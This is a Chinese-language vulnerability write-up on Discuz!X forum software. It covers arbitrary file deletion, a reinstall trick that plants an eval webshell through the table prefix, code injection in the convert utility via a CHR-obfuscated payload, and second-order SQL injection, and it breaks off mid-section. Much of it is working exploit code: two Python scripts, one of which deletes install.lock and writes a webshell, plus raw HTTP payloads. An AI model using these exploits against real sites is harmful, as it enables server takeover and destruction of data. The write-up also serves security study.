Discuz!X ≤3.4 任意文件删除漏洞
1、简述
漏洞原因:之前存在的任意文件删除漏洞修复不完全导致可以绕过。
漏洞修复时间:2017年9月29日官方对gitee上的代码进行了修复
2、复现环境
因为官方提供的下载是最新的源码,漏洞修复时间是17年9月29日,通过git找一个修复前的版本签出就可。
git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be
通过安装向导安装完后注册一个测试用户,同时在网站对应目录下创建用于删除的测试文件。
3、漏洞复现
登录账户。
访问该网页:http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base
发送POST请求:
http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base
POST
birthprovince=../../../testfile.txt&profilesubmit=1&formhash=e9d84225
formhash值为用户hash,可在源码中搜索formhash找到。
请求后表单中的出生地内容变为../../../testfile.txt
然后构造请求向home.php?mod=spacecp&ac=profile&op=base
上传文件,可以修改表单提交达到目的。
提交后文件被删除。
4、漏洞分析
分析一下对该页面请求时的流程。
在home.php
的41行有一次对其他文件的请求:
require_once libfile('home/'.$mod, 'module');
因为GET参数不满足上面代码的条件所以进入这部分。
查看libfile函数的定义:
function libfile($libname, $folder = '') {
$libpath = '/source/'.$folder;
if(strstr($libname, '/')) {
list($pre, $name) = explode('/', $libname);
$path = "{$libpath}/{$pre}/{$pre}_{$name}";
} else {
$path = "{$libpath}/{$libname}";
}
return preg_match('/^[\w\d\/_]+$/i', $path) ? realpath(DISCUZ_ROOT.$path.'.php') : false;
}
可以看出该函数的功能就是构造文件路径。
对于复现漏洞时请求页面的GET请求参数:mod=spacecp&ac=profile&op=base
在如上参数的请求时,经过libfile
函数处理过后返回的路径为:/source/module/home/home_spacecp.php
跟进到/source/module/home/home_spacecp.php
文件,在最后一行也引入了其他的文件,处理方式同上
require_once libfile('spacecp/'.$ac, 'include');
所以这里引入的文件为:/source/include/spacecp/spacecp_profile.php
,转到该文件看看。
在第70行,存在如下条件判断,这里也就是页面上的保存按钮点击后触发的相关处理代码:
if(submitcheck('profilesubmit')) {
......
submitcheck
函数是对profilesubmit的安全检查
function submitcheck($var, $allowget = 0, $seccodecheck = 0, $secqaacheck = 0) {
if(!getgpc($var)) {
return FALSE;
} else {
return helper_form::submitcheck($var, $allowget, $seccodecheck, $secqaacheck);
}
}
第187行开始是对文件上传的处理函数:
if($_FILES) {
$upload = new discuz_upload();
foreach($_FILES as $key => $file) {
......
第207行开始:
if(!$upload->error()) {
$upload->save();
if(!$upload->get_image_info($attach['target'])) {
@unlink($attach['target']);
continue;
}
$setarr[$key] = '';
$attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key])) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
}
continue;
}
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$setarr[$key] = $attach['attachment'];
}
文件上传成功,满足!$upload->error()
,会执行到unlink语句:
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
这里的$key
,在前面foreach($_FILES as $key => $file)
中定义(189行)。$space
在第23行定义,为用户个人资料。
$space = getuserbyuid($_G['uid']);
space_merge($space, 'field_home');
space_merge($space, 'profile');
会从数据库查询用户相关的信息保存到变量$space中。birthprovince
就是其中之一。
所以此时$space[key] = $space[birthprovince] = '../../../testfile.txt'
也就解释了复现时修改出生日期为目的文件路径的操作。
这样的话在这里就完成了文件删除的操作。
PS:更改用户信息时通过提交表单事时抓包可以看到各参数名称,可以进行修改。
5、Exp
exp改了半天也没有攻击成功,找了公开的exp也不成功,不知道是exp问题还是环境问题。
import requests
import re
import os
def check_url(target_url):
parameter = target_url.split('/')
if parameter[-1] != "home.php":
print("[*] Please make sure the url end with 'home.php'")
exit()
def get_cookie(target_url):
cookie = input("[*] Please paste the cookie:").split(';')
cookies = {}
for i in range(0,len(cookie)):
name,value=cookie[i].strip().split('=',1)
cookies[name] = value
loginurl = target_url + '?mod=spacecp'
text = requests.get(target_url,cookies=cookies).text
if '您需要先登录才能继续本操作' in text:
print("[*] Login error,please check cookies!")
else:
return cookies
def del_file(target_url,target_file,cookies):
loginurl = target_url + '?mod=spacecp'
text = requests.get(target_url,cookies=cookies).text
reformhash = 'formhash=.*?&'
patternformhash = re.compile(reformhash)
formhash = patternformhash.search(text).group()[9:17]
print(formhash)
# set birthprovince
birthprovinceurl = target_url + '?mod=spacecp&ac=profile'
birthprovincedata ={
"birthprovince":target_file,
"profilesubmit":"1",
"formhash":formhash
}
requests.post(birthprovinceurl,cookies=cookies,data=birthprovincedata)
# upload a picture and delete the target file
basepath = os.path.abspath(os.path.dirname(__file__))
uploadurl = target_url + '?mod=spacecp&ac=profile&op=base'
files = {'birthprovince': ("pic.png",open(basepath+'/1.png', 'rb'))}
data = {
'formhash':formhash,
'profilesubmit':'1'
}
s=requests.post(uploadurl,cookies=cookies,data=data,files=files)
print(s.text)
print("[*] Deleting the file.")
def exp():
try:
target_url = input("[*] please input the target url(eg:http://xxxxx/home.php):")
check_url(target_url)
cookies,formhash = get_cookie(target_url)
target_file = input("[*] Please input the target file:")
del_file(target_url,target_file,cookies,formhash)
except KeyError as e:
print("This poc doesn't seem to work.")
if __name__ == "__main__":
exp()
5、修复方法
对比官方的代码变动,直接删除了几条unlink语句,简单暴力..
Discuz!X V3.4后台任意文件删除
1、简述
后台任意文件删除,需要有管理员的权限。
2、复现环境
同上
3、漏洞复现
登陆后台,进入论坛->模块管理->编辑板块,使用burp拦截提交的数据。
修改请求包,添加参数 &replybgnew=../../../testfile.txt&delreplybg=1
发送,查看文件发现被删除。
4、漏洞分析
分析一下该请求的流程。
请求URL:/dz/upload/admin.php?action=forums&operation=edit&fid=2&replybgnew=../../../testfile.txt&delreplybg=1
在admin.php
中接收了action参数,在第58行经过admincpfile
函数处理后返回文件路径,并包含该文件。
if($admincp->allow($action, $operation, $do) || $action == 'index') {
require $admincp->admincpfile($action);
看一下该函数的处理过程:
function admincpfile($action) {
return './source/admincp/admincp_'.$action.'.php';
}
经过处理返回的内容是:./source/admincp/admincp_forums.php
,也就来到了漏洞存在的地方。
根据if/else的判断条件,进入else中的代码:
if(!submitcheck('detailsubmit')) {
......
}
else{
}
造成漏洞的代码:
if(!$multiset) {
if($_GET['delreplybg']) {
$valueparse = parse_url($_GET['replybgnew']);
if(!isset($valueparse['host']) && file_exists($_G['setting']['attachurl'].'common/'.$_GET['replybgnew'])) {
@unlink($_G['setting']['attachurl'].'common/'.$_GET['replybgnew']);
}
$_GET['replybgnew'] = '';
}
$multiset
默认为0,只要不给该参数赋值就满足条件进入if语句。
第二个if语句,检查GET参数delreplybg
有没有内容,然后做了下检测,检测parse_url函数返回的结果中有没有host这个变量,来确保GET参数replybgnew
不是url,但是并不影响传入文件路径。
这里$_G['setting']['attachurl'
的值为data/attachment/
,再拼接上common/
和$_GET['replybgnew']
,这样路径就可控了。通过unlink达到文件删除的目的。
任意文件删除配合install过程getshell
1、简述
这个方法是看到一篇博客分析的,主要是利用文件删除漏洞删掉install.lock
文件,绕过对安装完成的判断能够再进行安装的过程,然后再填写配置信息处构使用构造的表前缀名,时一句话写入配置文件中,getshell。
表前缀:x');@eval($_POST[lanvnal]);('
但是我在使用上面版本v3.4的代码时发现,安装后install
目录下不存在index.php
了。分析代码发现会有安装后的删除处理,在/source/admincp/admincp_index.php
的第14行:
if(@file_exists(DISCUZ_ROOT.'./install/index.php') && !DISCUZ_DEBUG) {
@unlink(DISCUZ_ROOT.'./install/index.php');
if(@file_exists(DISCUZ_ROOT.'./install/index.php')) {
dexit('Please delete install/index.php via FTP!');
}
}
那是不是老版本存在该问题呢?
我翻了历史版本代码,直到git提交的第一个版本都有如上的处理。
但还是分析一下吧,就当学习了。
可以利用的条件:1、安装后没有登录后台,此时install/index还没删除 2、因为其他原因没有删除
2、复现环境
同上
3、漏洞复现
如果安装后install/index.php
因为某些原因还存在,直接访问会有如下警告:
通过文件删除漏洞删除data目录下的install.lock
文件就可以重新安装。
安装过程修改表前缀内容为:x');@eval($_POST[lanvnal]);('
在config/config_ucenter.php
中已经写入了webshell。
4、漏洞分析
分析一下安装逻辑,install/index.php
文件的整体流程如下:
分别是我们安装的每一步,接受协议->环境检测->是否安装 UCenter Server->数据库配置信息->安装过程,生成lock文件->检查
问题出在在 db_init
的处理中,在代码第369行:
if(DZUCFULL) {
install_uc_server();
}
跟进install_uc_server
,在1296行可以发现对config参数没做任何过滤传入到save_uc_config
中:
save_uc_config($config, ROOT_PATH.'./config/config_ucenter.php');
然后save_uc_config
也没做任何安全处理,就拼接参数后写入文件:
function save_uc_config($config, $file) {
$success = false;
list($appauthkey, $appid, $ucdbhost, $ucdbname, $ucdbuser, $ucdbpw, $ucdbcharset, $uctablepre, $uccharset, $ucapi, $ucip) = $config;
$link = function_exists('mysql_connect') ? mysql_connect($ucdbhost, $ucdbuser, $ucdbpw, 1) : new mysqli($ucdbhost, $ucdbuser, $ucdbpw, $ucdbname);
$uc_connnect = $link ? 'mysql' : '';
$date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
$year = date('Y');
$config = <<<EOT
<?php
define('UC_CONNECT', '$uc_connnect');
define('UC_DBHOST', '$ucdbhost');
define('UC_DBUSER', '$ucdbuser');
define('UC_DBPW', '$ucdbpw');
define('UC_DBNAME', '$ucdbname');
define('UC_DBCHARSET', '$ucdbcharset');
define('UC_DBTABLEPRE', '`$ucdbname`.$uctablepre');
define('UC_DBCONNECT', 0);
define('UC_CHARSET', '$uccharset');
define('UC_KEY', '$appauthkey');
define('UC_API', '$ucapi');
define('UC_APPID', '$appid');
define('UC_IP', '$ucip');
define('UC_PPP', 20);
?>
EOT;
if($fp = fopen($file, 'w')) {
fwrite($fp, $config);
fclose($fp);
$success = true;
}
return $success;
}
因为 dbhost, dbuser
等参数需要用来连接数据库,所以利用 tablepre
向配置文件写入shell。
5、Exp
https://gist.github.com/j178/67f4dbd8e87cd012a7caa8752ea06e7b
#!/usr/bin/env python3
import base64
import random
import re
import string
import requests
sess = requests.Session()
randstr = lambda len=5: ''.join(random.choice(string.ascii_lowercase) for _ in range(len))
##################################################
########## Customize these parameters ############
target = 'http://localhost/discuzx'
# login target site first, and copy the cookie here
cookie = "UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_nofavfid=1; Zy4Q_2132_sid=rsQrgQ; Zy4Q_2132_lastact=1506787935%09home.php%09misc; 7Csx_2132_saltkey=U8nrO8Xr; TMT0_2132_saltkey=E3q5BpyX; PXMk_2132_saltkey=rGBnNWu7; b4Gi_2132_saltkey=adC4r05k; b4Gi_2132_lastvisit=1506796139; b4Gi_2132_onlineusernum=2; b4Gi_2132_sendmail=1; b4Gi_2132_seccode=1.8dab0a0c4ebfda651b; b4Gi_2132_sid=BywqMy; b4Gi_2132_ulastactivity=51c0lBFHqkUpD3mClFKDxwP%2BI0JGaY88XWTT1qtFBD6jAJUMphOL; b4Gi_2132_auth=6ebc2wCixg7l%2F6No7r54FCvtNKfp1e5%2FAdz2SlLqJRBimNpgrbxhSEnsH5%2BgP2mAvwVxOdrrpVVX3W5PqDhf; b4Gi_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; b4Gi_2132_creditbase=0D0D0D0D0D0D0D0D0; b4Gi_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; b4Gi_2132_lastcheckfeed=1%7C1506800134; b4Gi_2132_checkfollow=1; b4Gi_2132_lastact=1506800134%09misc.php%09seccode"
shell_password = randstr()
db_host = ''
db_user = ''
db_pw = ''
db_name = ''
#################################################
path = '/home.php?mod=spacecp&ac=profile&op=base'
url = target + path
sess.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Referer': url})
# sess.proxies.update({'http': 'socks5://localhost:1080'})
# sess.proxies.update({'http': 'http://localhost:8080'})
def login(username=None, password=None):
sess.headers.update({'Cookie': cookie})
def get_form_hash():
r = sess.get(url)
match = re.search(r'"member.php\?mod=logging&action=logout&formhash=(.*?)"', r.text, re.I)
if match:
return match.group(1)
def tamper(formhash, file_to_delete):
data = {
'formhash': (None, formhash),
'profilesubmit': (None, 'true'),
'birthprovince': (None, file_to_delete)
}
r = sess.post(url, files=data)
if 'parent.show_success' in r.text:
print('tamperred successfully')
return True
def delete(formhash, file):
if not tamper(formhash, file):
return False
image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg=='
data = {
'formhash': formhash,
'profilesubmit': 'true'
}
files = {
'birthprovince': ('image.png', base64.b64decode(image), 'image/png')
}
r = sess.post(url, data=data, files=files)
if 'parent.show_success' in r.text:
print('delete {} successfully'.format(file))
return True
def getshell():
install_url = target + '/install/index.php'
r = sess.get(install_url)
if '安装向导' not in r.text:
print('install directory not exists')
return False
table_prefix = "x');@eval($_POST[{}]);('".format(shell_password)
data = {
'step': 3,
'install_ucenter': 'yes',
'dbinfo[dbhost]': db_host,
'dbinfo[dbname]': db_name,
'dbinfo[dbuser]': db_user,
'dbinfo[dbpw]': db_pw,
'dbinfo[tablepre]': table_prefix,
'dbinfo[adminemail]': 'admin@admin.com',
'admininfo[username]': 'admin',
'admininfo[password]': 'admin',
'admininfo[password2]': 'admin',
'admininfo[email]': 'admin@admin.com',
}
r = sess.post(install_url, data=data)
if '建立数据表 CREATE TABLE' not in r.text:
print('write shell failed')
return False
print('shell: {}/config/config_ucenter.php'.format(target))
print('password: {}'.format(shell_password))
if __name__ == '__main__':
login()
form_hash = get_form_hash()
if form_hash:
delete(form_hash, '../../../data/install.lock')
getshell()
else:
print('failed')
Dz全版本,版本转换功能导致Getshell
1、简述
存在问题的代码在/utility/convert/
目录下,这部分的功能主要是用于Dz系列产品升级/转换。
影响范围:全版本
条件:存在/utility/convert/
目录和相应功能。
2、复现环境
同上,目前gitee最新版代码依然存在该漏洞。
3、漏洞复现
在产品升级/转换->选择产品转换程序 ->设置服务器信息 这里抓包,
payload:
POST /dz/utility/convert/index.php HTTP/1.1
Host: 127.0.0.1:8001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Origin: http://127.0.0.1:8001
Connection: close
Referer: http://127.0.0.1:8001/dz/utility/convert/index.php
Upgrade-Insecure-Requests: 1
a=config&source=d7.2_x1.5&submit=yes&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(108).CHR(97).CHR(110).CHR(118).CHR(110).CHR(97).CHR(108).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa
4、漏洞分析
入口utility/convert/index.php
require './include/common.inc.php';
$action = getgpc('a');
$action = empty($action) ? getgpc('action') : $action;
$source = getgpc('source') ? getgpc('source') : getgpc('s');
取$_POST['a']
,直接赋值给$action
,此时$action = config
;
} elseif($action == 'config' || CONFIG_EMPTY) {
require DISCUZ_ROOT.'./include/do_config.inc.php';
} elseif($action == 'setting') {
满足条件,引入./include/do_config.inc.php
@touch($configfile);
......
if(submitcheck()) {
$newconfig = getgpc('newconfig');
if(is_array($newconfig)) {
$checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target');
foreach ($checkarray as $key) {
......
}
save_config_file($configfile, $newconfig, $config_default);
$newconfig
从$_POST[newconfig]
获取数据,save_config_file
函数保将$newconfig
保存到$configfile
文件中,即config.inc.php
文件。跟进该函数。
function save_config_file($filename, $config, $default) {
$config = setdefault($config, $default);// 将$config中的空白项用 $default 中对应项的值填充
$date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
$year = date('Y');
$content = <<<EOT
<?php
\$_config = array();
EOT;
$content .= getvars(array('_config' => $config));
$content .= "\r\n// ".str_pad(' THE END ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
file_put_contents($filename, $content);
}
getvars函数处理,此时的$config
= $newconfig+config.default.php对应项的补充
。看一下getvars函数:
function getvars($data, $type = 'VAR') {
$evaluate = '';
foreach($data as $key => $val) {
if(!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $key)) {
continue;
}
if(is_array($val)) {
$evaluate .= buildarray($val, 0, "\${$key}")."\r\n";
} else {
$val = addcslashes($val, '\'\\');
$evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
}
}
return $evaluate;
}
满足if条件会执行buildarray
函数,此时$key=_config
,$val
=上面的$config
。最终造成写入的在该函数中(update.php 2206行):
foreach ($array as $key => $val) {
if($level == 0) {
//str_pad — 使用另一个字符串填充字符串为指定长度
// 第一个参数是要输出的字符串,指定长度为50,用'-'填充,居中
$newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH);
$return .= "\r\n// $newline //\r\n";
}
本意是使用$config
数组的key作为每一块配置区域的”注释标题”,写入配置文件的$newline依赖于$key,而$key是攻击者可控的。
未对输入数据进行正确的边界处理,导致可以插入换行符,逃离注释的作用范围,从而使输入数据转化为可执行代码。
5、修复建议
update.php 2206行
foreach ($array as $key => $val){
//过滤掉$key中的非字母、数字及下划线字符
全版本后台Sql注入
1、简述
Discuz! X系列全版本 截止到 Discuz! X3.4 R20191201 UTF-8
二次注入
利用条件有限,还是挺鸡肋的。
2、复现环境
同上
3、漏洞复现
报错注入:
写文件:
4、漏洞分析
漏洞原因:经过addslashes存入文件中,从文件中取出字符,转义符号丢失,造成二次注入
由前几个的分析已经明白了dz的路由形式,此处的路由解析如下:?action=xxx => ../admincp_xxx.php
跟进source/admincp/admincp_setting.php
,2566行,接收参数修改UC_APPID
值。
$configfile = str_replace("define('UC_APPID', '".addslashes(UC_APPID)."')", "define('UC_APPID', '".$settingnew['uc']['appid']."')", $configfile);
$fp = fopen('./config/config_ucenter.php', 'w');
if(!($fp = @fopen('./config/config_ucenter.php', 'w'))) {
cpmsg('uc_config_write_error', '', 'error');
}
@fwrite($fp, trim($configfile));
@fclose($fp);
成功写入恶意UC_APPID
后,执行更新读取新的配置信息,3415行:
if($updatecache) {
updatecache('setting');
最后在uc_client/model/base.php
的note_exists
方法中触发注入
function note_exists() {
$noteexists = $this->db->result_first("SELECT value FROM ".UC_DBTABLEPRE."vars WHERE name='noteexists".UC_APPID."'");
if(empty($noteexists)) {
return FALSE;
} else {
return TRUE;
}
}
Discuz ML! V3.X 代码注入漏洞
1、简述
漏洞编号:CVE-2019-13956
成因:漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的,cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行